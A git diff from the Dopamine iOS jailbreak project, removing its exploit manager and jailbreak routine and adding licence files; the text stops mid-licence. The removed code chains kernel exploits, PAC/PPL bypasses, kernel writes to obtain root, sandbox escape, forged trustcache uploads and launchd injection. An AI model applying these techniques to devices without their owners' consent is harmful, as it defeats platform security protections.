exploitInfo[@"DPExploitFlavors"]; - [flavors enumerateKeysAndObjectsUsingBlock:^(NSString *flavorName, NSDictionary *flavorDict, BOOL *stop) { - [exploitSet addObject:[[Exploit alloc] initWithPath:exploitFrameworkPath flavorName:flavorName flavorDictionary:flavorDict]]; - }]; - } - } - } - _allExploits = [exploitSet copy]; - NSLog(@"Loaded exploits: %@", _allExploits); -} - -- (NSSet *)_availableExploitsForType:(ExploitType)type -{ - NSMutableSet *subset = [NSMutableSet new]; - for (Exploit *exploit in _allExploits) { - if (exploit.type == type) { - [subset addObject:exploit]; - } - } - return subset; -} - -- (Exploit *)_preferredExploitForType:(ExploitType)type -{ - Exploit *preferredExploit = nil; - for (Exploit *exploit in [self _availableExploitsForType:type]) { - if (!preferredExploit || exploit.priority > preferredExploit.priority) { - preferredExploit = exploit; - } - } - return preferredExploit; -} - -// TODO: Make overwritable from preferences - -- (Exploit *)preferredKernelExploit -{ - return [self _preferredExploitForType:EXPLOIT_TYPE_KERNEL]; -} - -- (Exploit *)preferredPACBypass -{ - if ([EnvironmentManager sharedManager].isPACBypassRequired || FORCE_PAC_BYPASS) { - return [self _preferredExploitForType:EXPLOIT_TYPE_PAC]; - } - return nil; -} - -- (Exploit *)preferredPPLBypass -{ - return [self _preferredExploitForType:EXPLOIT_TYPE_PPL]; -} - -- (int)cleanUpExploits -{ - for (Exploit *exploit in [_activeExploits reverseObjectEnumerator]) { - int r = [exploit cleanup]; - if (r != 0) return r; - } - return 0; -} - -@end diff --git a/Application/Dopamine/Jailbreak/Jailbreaker.m b/Application/Dopamine/Jailbreak/Jailbreaker.m deleted file mode 100644 index baadd21784..0000000000 --- a/Application/Dopamine/Jailbreak/Jailbreaker.m +++ /dev/null @@ -1,376 +0,0 @@ -// -// Jailbreaker.m -// Dopamine -// -// Created by Lars Fröder on 10.01.24. -// - -#import "Jailbreaker.h" -#import "EnvironmentManager.h" -#import "ExploitManager.h" -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import -#import "spawn.h" -int posix_spawnattr_set_registered_ports_np(posix_spawnattr_t * __restrict attr, mach_port_t portarray[], uint32_t count); - -NSString *const JBErrorDomain = @"JBErrorDomain"; -typedef NS_ENUM(NSInteger, JBErrorCode) { - JBErrorCodeFailedToFindKernel = -1, - JBErrorCodeFailedKernelPatchfinding = -2, - JBErrorCodeFailedLoadingExploit = -3, - JBErrorCodeFailedExploitation = -4, - JBErrorCodeFailedBuildingPhysRW = -5, - JBErrorCodeFailedCleanup = -6, - JBErrorCodeFailedGetRoot = -7, - JBErrorCodeFailedUnsandbox = -8, - JBErrorCodeFailedPlatformize = -9, - JBErrorCodeFailedBasebinTrustcache = -10, - JBErrorCodeFailedLaunchdInjection = -11, - JBErrorCodeFailedInitFakeLib = -12, -}; - -@implementation Jailbreaker - -- (NSError *)gatherSystemInformation -{ - NSString *kernelPath = [[EnvironmentManager sharedManager] accessibleKernelPath]; - if (!kernelPath) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedToFindKernel userInfo:@{NSLocalizedDescriptionKey:@"Failed to find kernelcache"}]; - NSLog(@"Kernel at %s", kernelPath.UTF8String); - - int r = xpf_start_with_kernel_path(kernelPath.fileSystemRepresentation); - if (r == 0) { - const char *sets[] = { - "translation", - "trustcache", - "physmap", - "struct", - "physrw", - "perfkrw", - "badRecovery", - NULL - }; - - if (!xpf_set_is_supported("badRecovery")) { - sets[(sizeof(sets)/sizeof(sets[0]))-2] = NULL; - } - - _systemInfoXdict = xpf_construct_offset_dictionary(sets); - if (_systemInfoXdict) { - xpc_dictionary_set_uint64(_systemInfoXdict, "kernelConstant.staticBase", gXPF.kernelBase); - printf("System Info:\n"); - xpc_dictionary_apply(_systemInfoXdict, ^bool(const char *key, xpc_object_t value) { - if (xpc_get_type(value) == XPC_TYPE_UINT64) { - printf("0x%016llx <- %s\n", xpc_uint64_get_value(value), key); - } - return true; - }); - } - if (!_systemInfoXdict) { - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedKernelPatchfinding userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"XPF failed with error: (%s)", xpf_get_error()]}]; - } - xpf_stop(); - } - else { - NSError *error = [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedKernelPatchfinding userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"XPF start failed with error: (%s)", xpf_get_error()]}]; - xpf_stop(); - return error; - } - - jbinfo_initialize_dynamic_offsets(_systemInfoXdict); - jbinfo_initialize_hardcoded_offsets(); - _systemInfoXdict = jbinfo_get_serialized(); - - if (_systemInfoXdict) { - printf("System Info libjailbreak:\n"); - xpc_dictionary_apply(_systemInfoXdict, ^bool(const char *key, xpc_object_t value) { - if (xpc_get_type(value) == XPC_TYPE_UINT64) { - if (xpc_uint64_get_value(value)) { - printf("0x%016llx <- %s\n", xpc_uint64_get_value(value), key); - } - } - return true; - }); - } - - return nil; -} - -- (NSError *)doExploitation -{ - Exploit *kernelExploit = [ExploitManager sharedManager].preferredKernelExploit; - printf("Picked Kernel Exploit: %s\n", kernelExploit.description.UTF8String); - - if ([kernelExploit load] != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLoadingExploit userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to load kernel exploit: %s", dlerror()]}]; - if ([kernelExploit run] != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"Failed to exploit kernel"}]; - - jbinfo_initialize_boot_constants(); - libjailbreak_translation_init(); - libjailbreak_IOSurface_primitives_init(); - - Exploit *pacBypass = [ExploitManager sharedManager].preferredPACBypass; - if (pacBypass) { - NSLog(@"Picked PAC Bypass: %s\n", pacBypass.description.UTF8String); - if ([pacBypass load] != 0) {[kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLoadingExploit userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to load PAC bypass: %s", dlerror()]}];}; - if ([pacBypass run] != 0) {[kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"Failed to bypass PAC"}];} - // At this point we presume the PAC bypass has given us stable kcall primitives - gSystemInfo.jailbreakInfo.usesPACBypass = true; - } - - if ([[EnvironmentManager sharedManager] isPPLBypassRequired]) { - Exploit *pplBypass = [ExploitManager sharedManager].preferredPPLBypass; - printf("Picked PPL Bypass: %s\n", pplBypass.description.UTF8String); - if ([pplBypass load] != 0) {[pacBypass cleanup]; [kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLoadingExploit userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to load PPL bypass: %s", dlerror()]}];}; - if ([pplBypass run] != 0) {[pacBypass cleanup]; [kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"Failed to bypass PPL"}];} - // At this point we presume the PPL bypass gave us unrestricted phys write primitives - if (@available(iOS 16.0, *)) { - // IOSurface kallocs don't work on iOS 16+, use these instead - libjailbreak_kalloc_pt_init(); - } - } - else { - if (@available(iOS 16.0, *)) { - // IOSurface kallocs don't work on iOS 16+, use these instead - libjailbreak_kalloc_pt_init(); - } - } - return nil; -} - -- (NSError *)buildPhysRWPrimitive -{ - int r = libjailbreak_physrw_pte_init(false); - if (r != 0) { - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedBuildingPhysRW userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to build phys r/w primitive: %d", r]}]; - } - return nil; -} - -- (NSError *)cleanUpExploits -{ - int r = [[ExploitManager sharedManager] cleanUpExploits]; - if (r != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedCleanup userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to cleanup exploits: %d", r]}]; - return nil; -} - -- (NSError *)elevatePrivileges -{ - uint64_t proc = proc_self(); - uint64_t ucred = proc_ucred(proc); - - // Get uid 0 - kwrite32(proc + koffsetof(proc, svuid), 0); - kwrite32(ucred + koffsetof(ucred, svuid), 0); - kwrite32(ucred + koffsetof(ucred, ruid), 0); - kwrite32(ucred + koffsetof(ucred, uid), 0); - - // Get gid 0 - kwrite32(proc + koffsetof(proc, svgid), 0); - kwrite32(ucred + koffsetof(ucred, rgid), 0); - kwrite32(ucred + koffsetof(ucred, svgid), 0); - kwrite32(ucred + koffsetof(ucred, groups), 0); - - // Add P_SUGID - uint32_t flag = kread32(proc + koffsetof(proc, flag)); - if ((flag & P_SUGID) != 0) { - flag &= P_SUGID; - kwrite32(proc + koffsetof(proc, flag), flag); - } - - if (getuid() != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedGetRoot userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to get root, uid still %d", getuid()]}]; - if (getgid() != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedGetRoot userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to get root, gid still %d", getgid()]}]; - - // Unsandbox - uint64_t label = kread_ptr(ucred + koffsetof(ucred, label)); - mac_label_set(label, 1, -1); - NSError *error = nil; - [[NSFileManager defaultManager] contentsOfDirectoryAtPath:@"/var" error:&error]; - if (error) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedUnsandbox userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to unsandbox, /var does not seem accessible (%s)", error.description.UTF8String]}]; - setenv("HOME", "/var/root", true); - setenv("CFFIXED_USER_HOME", "/var/root", true); - setenv("TMPDIR", "/var/tmp", true); - - // Get CS_PLATFORM_BINARY - proc_csflags_set(proc, CS_PLATFORM_BINARY); - uint32_t csflags; - csops(getpid(), CS_OPS_STATUS, &csflags, sizeof(csflags)); - if (!(csflags & CS_PLATFORM_BINARY)) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedPlatformize userInfo:@{NSLocalizedDescriptionKey:@"Failed to get CS_PLATFORM_BINARY"}]; - - return nil; -} - -- (NSError *)loadBasebinTrustcache -{ - trustcache_file_v1 *basebinTcFile = NULL; - if (trustcache_file_build_from_path([[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"basebin.tc"].fileSystemRepresentation, &basebinTcFile) == 0) { - int r = trustcache_file_upload_with_uuid(basebinTcFile, BASEBIN_TRUSTCACHE_UUID); - free(basebinTcFile); - if (r != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedBasebinTrustcache userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to upload BaseBin trustcache: %d", r]}]; - return nil; - } - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedBasebinTrustcache userInfo:@{NSLocalizedDescriptionKey : @"Failed to load BaseBin trustcache"}]; -} - -- (NSError *)injectLaunchdHook -{ - mach_port_t serverPort = MACH_PORT_NULL; - mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &serverPort); - mach_port_insert_right(mach_task_self(), serverPort, serverPort, MACH_MSG_TYPE_MAKE_SEND); - - // Host a boomerang server that will be used by launchdhook to get the jailbreak primitives from this app - dispatch_semaphore_t boomerangDone = dispatch_semaphore_create(0); - dispatch_source_t serverSource = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, (uintptr_t)serverPort, 0, dispatch_get_main_queue()); - dispatch_source_set_event_handler(serverSource, ^{ - xpc_object_t xdict = nil; - if (!xpc_pipe_receive(serverPort, &xdict)) { - if (jbserver_received_boomerang_xpc_message(&gBoomerangServer, xdict) == JBS_BOOMERANG_DONE) { - dispatch_semaphore_signal(boomerangDone); - } - } - }); - dispatch_resume(serverSource); - - // Stash port to server in launchd's initPorts[2] - // Since we don't have the neccessary entitlements, we need to do it over jbctl - posix_spawnattr_t attr; - posix_spawnattr_init(&attr); - posix_spawnattr_set_registered_ports_np(&attr, (mach_port_t[]){MACH_PORT_NULL, MACH_PORT_NULL, serverPort}, 3); - pid_t spawnedPid = 0; - const char *jbctlPath = JBRootPath("/basebin/jbctl"); - int spawnError = posix_spawn(&spawnedPid, jbctlPath, NULL, &attr, (char *const *)(const char *[]){ jbctlPath, "internal", "launchd_stash_port", NULL }, NULL); - if (spawnError != 0) { - dispatch_cancel(serverSource); - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLaunchdInjection userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Spawning jbctl failed with error code %d", spawnError]}]; - } - posix_spawnattr_destroy(&attr); - int status = 0; - do { - if (waitpid(spawnedPid, &status, 0) == -1) { - dispatch_cancel(serverSource); - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLaunchdInjection userInfo:@{NSLocalizedDescriptionKey : @"Waiting for jbctl failed"}];; - } - } while (!WIFEXITED(status) && !WIFSIGNALED(status)); - - // Inject launchdhook.dylib into launchd via opainject - int r = exec_cmd(JBRootPath("/basebin/opainject"), "1", JBRootPath("/basebin/launchdhook.dylib"), NULL); - if (r != 0) { - dispatch_cancel(serverSource); - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLaunchdInjection userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"opainject failed with error code %d", r]}]; - } - - // Wait for everything to finish - dispatch_semaphore_wait(boomerangDone, DISPATCH_TIME_FOREVER); - dispatch_cancel(serverSource); - mach_port_deallocate(mach_task_self(), serverPort); - - return nil; -} - -- (NSError *)createFakeLib -{ - int r = exec_cmd(JBRootPath("/basebin/jbctl"), "internal", "fakelib_init", NULL); - if (r != 0) { - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Creating fakelib failed with error: %d", r]}]; - } - - cdhash_t *cdhashes; - uint32_t cdhashesCount; - macho_collect_untrusted_cdhashes(JBRootPath("/basebin/.fakelib/dyld"), NULL, &cdhashes, &cdhashesCount); - if (cdhashesCount != 1) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Got unexpected number of cdhashes for dyld???: %d", cdhashesCount]}]; - - trustcache_file_v1 *dyldTCFile = NULL; - r = trustcache_file_build_from_cdhashes(cdhashes, cdhashesCount, &dyldTCFile); - free(cdhashes); - if (r == 0) { - int r = trustcache_file_upload_with_uuid(dyldTCFile, DYLD_TRUSTCACHE_UUID); - if (r != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to upload dyld trustcache: %d", r]}]; - free(dyldTCFile); - } - else { - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : @"Failed to build dyld trustcache"}]; - } - - r = exec_cmd(JBRootPath("/basebin/jbctl"), "internal", "fakelib_mount", NULL); - if (r != 0) { - return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Mounting fakelib failed with error: %d", r]}]; - } - - // Now that fakelib is up, we want to make systemhook inject into any binary we spawn - setenv("DYLD_INSERT_LIBRARIES", "/usr/lib/systemhook.dylib", 1); - return nil; -} - -- (NSError *)finalizeBootstrapIfNeeded -{ - return [[EnvironmentManager sharedManager] finalizeBootstrap]; -} - -- (NSError *)run -{ - NSError *err = nil; - err = [self gatherSystemInformation]; - if (err) return err; - err = [self doExploitation]; - if (err) return err; - err = [self buildPhysRWPrimitive]; - if (err) return err; - err = [self cleanUpExploits]; - if (err) return err; - err = [self elevatePrivileges]; - if (err) return err; - - // Now that we are unsandboxed, populate the jailbreak root path - [[EnvironmentManager sharedManager] determineJailbreakRootPath]; - - err = [[EnvironmentManager sharedManager] prepareBootstrap]; - if (err) return err; - setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/var/jb/sbin:/var/jb/bin:/var/jb/usr/sbin:/var/jb/usr/bin", 1); - setenv("TERM", "xterm-256color", 1); - printf("Bootstrap done\n"); - - err = [self loadBasebinTrustcache]; - if (err) return err; - - err = [self injectLaunchdHook]; - if (err) return err; - - err = [self createFakeLib]; - if (err) return err; - - // Unsandbox iconservicesagent so that app icons can work - exec_cmd_trusted(JBRootPath("/usr/bin/killall"), "-9", "iconservicesagent", NULL); - - err = [self finalizeBootstrapIfNeeded]; - if (err) return err; - - //printf("Starting launch daemons...\n"); - //exec_cmd_trusted(JBRootPath("/usr/bin/launchctl"), "bootstrap", "system", JBRootPath("/Library/LaunchDaemons"), NULL); - //exec_cmd_trusted(JBRootPath("/usr/bin/launchctl"), "bootstrap", "system", JBRootPath("/basebin/LaunchDaemons"), NULL); - // Note: This causes the app to freeze in some instances due to launchd only having physrw_pte, we might want to only do it when neccessary - // It's only neccessary when we don't immediately userspace reboot - - printf("Done!\n"); - return nil; -} - -- (void)finalize -{ - exec_cmd_trusted(JBRootPath("/usr/bin/launchctl"), "reboot", "userspace", NULL); -} - -@end diff --git a/Application/Dopamine/Jailbreak/PreferenceManager.h b/Application/Dopamine/Jailbreak/PreferenceManager.h deleted file mode 100644 index 5767ab535d..0000000000 --- a/Application/Dopamine/Jailbreak/PreferenceManager.h +++ /dev/null @@ -1,16 +0,0 @@ -// -// PreferenceManager.h -// Dopamine -// -// Created by Lars Fröder on 13.01.24. -// - -#import - -NS_ASSUME_NONNULL_BEGIN - -@interface PreferenceManager : NSObject - -@end - -NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/Jailbreak/PreferenceManager.m b/Application/Dopamine/Jailbreak/PreferenceManager.m deleted file mode 100644 index 2e8fe47268..0000000000 --- a/Application/Dopamine/Jailbreak/PreferenceManager.m +++ /dev/null @@ -1,12 +0,0 @@ -// -// PreferenceManager.m -// Dopamine -// -// Created by Lars Fröder on 13.01.24. -// - -#import "PreferenceManager.h" - -@implementation PreferenceManager - -@end diff --git a/Application/Dopamine/Resources/.gitignore b/Application/Dopamine/Resources/.gitignore new file mode 100644 index 0000000000..2f998963c8 --- /dev/null +++ b/Application/Dopamine/Resources/.gitignore @@ -0,0 +1 @@ +bootstrap_*.tar.zst diff --git a/Application/Dopamine/Resources/LICENSE.md b/Application/Dopamine/Resources/LICENSE.md new file mode 100644 index 0000000000..3e876146d9 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023-2024 Lars Fröder (opa334) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Application/Dopamine/Resources/LICENSE_ChOma.md b/Application/Dopamine/Resources/LICENSE_ChOma.md new file mode 100644 index 0000000000..2c261d6929 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_ChOma.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 Lars Fröder + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Application/Dopamine/Resources/LICENSE_ElleKit.md b/Application/Dopamine/Resources/LICENSE_ElleKit.md new file mode 100644 index 0000000000..83ac4b77e0 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_ElleKit.md @@ -0,0 +1,27 @@ +Copyright (c) 2022 Évelyne Bélanger All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither ElleKit nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/LICENSE_Fugu15.md b/Application/Dopamine/Resources/LICENSE_Fugu15.md similarity index 100% rename from LICENSE_Fugu15.md rename to Application/Dopamine/Resources/LICENSE_Fugu15.md diff --git a/Application/Dopamine/Resources/LICENSE_Fugu15_Rootful.md b/Application/Dopamine/Resources/LICENSE_Fugu15_Rootful.md new file mode 100644 index 0000000000..9fd111cdd1 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_Fugu15_Rootful.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022/2023 Pinauten GmbH + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Application/Dopamine/Resources/LICENSE_Procursus.md b/Application/Dopamine/Resources/LICENSE_Procursus.md new file mode 100644 index 0000000000..c992296b73 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_Procursus.md @@ -0,0 +1,12 @@ +Copyright (c) 2020-2023 Procursus Team + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. diff --git a/Application/Dopamine/Resources/LICENSE_Sileo.md b/Application/Dopamine/Resources/LICENSE_Sileo.md new file mode 100644 index 0000000000..c73f9f187e --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_Sileo.md @@ -0,0 +1,10 @@ +Copyright (c) 2021, the Sileo Project. All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +3. All advertising materials mentioning features or use of this software must display the following acknowledgement: +This product includes software developed by the Sileo Team. +4. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +THIS SOFTWARE IS PROVIDED BY THE SILEO TEAM "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE SILEO TEAM BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Application/Dopamine/Resources/LICENSE_XPF.md b/Application/Dopamine/Resources/LICENSE_XPF.md new file mode 100644 index 0000000000..9e0c1114e9 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_XPF.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Lars Fröder + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Application/Dopamine/Resources/LICENSE_Zebra.md b/Application/Dopamine/Resources/LICENSE_Zebra.md new file mode 100644 index 0000000000..f288702d2f --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_Zebra.md @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a 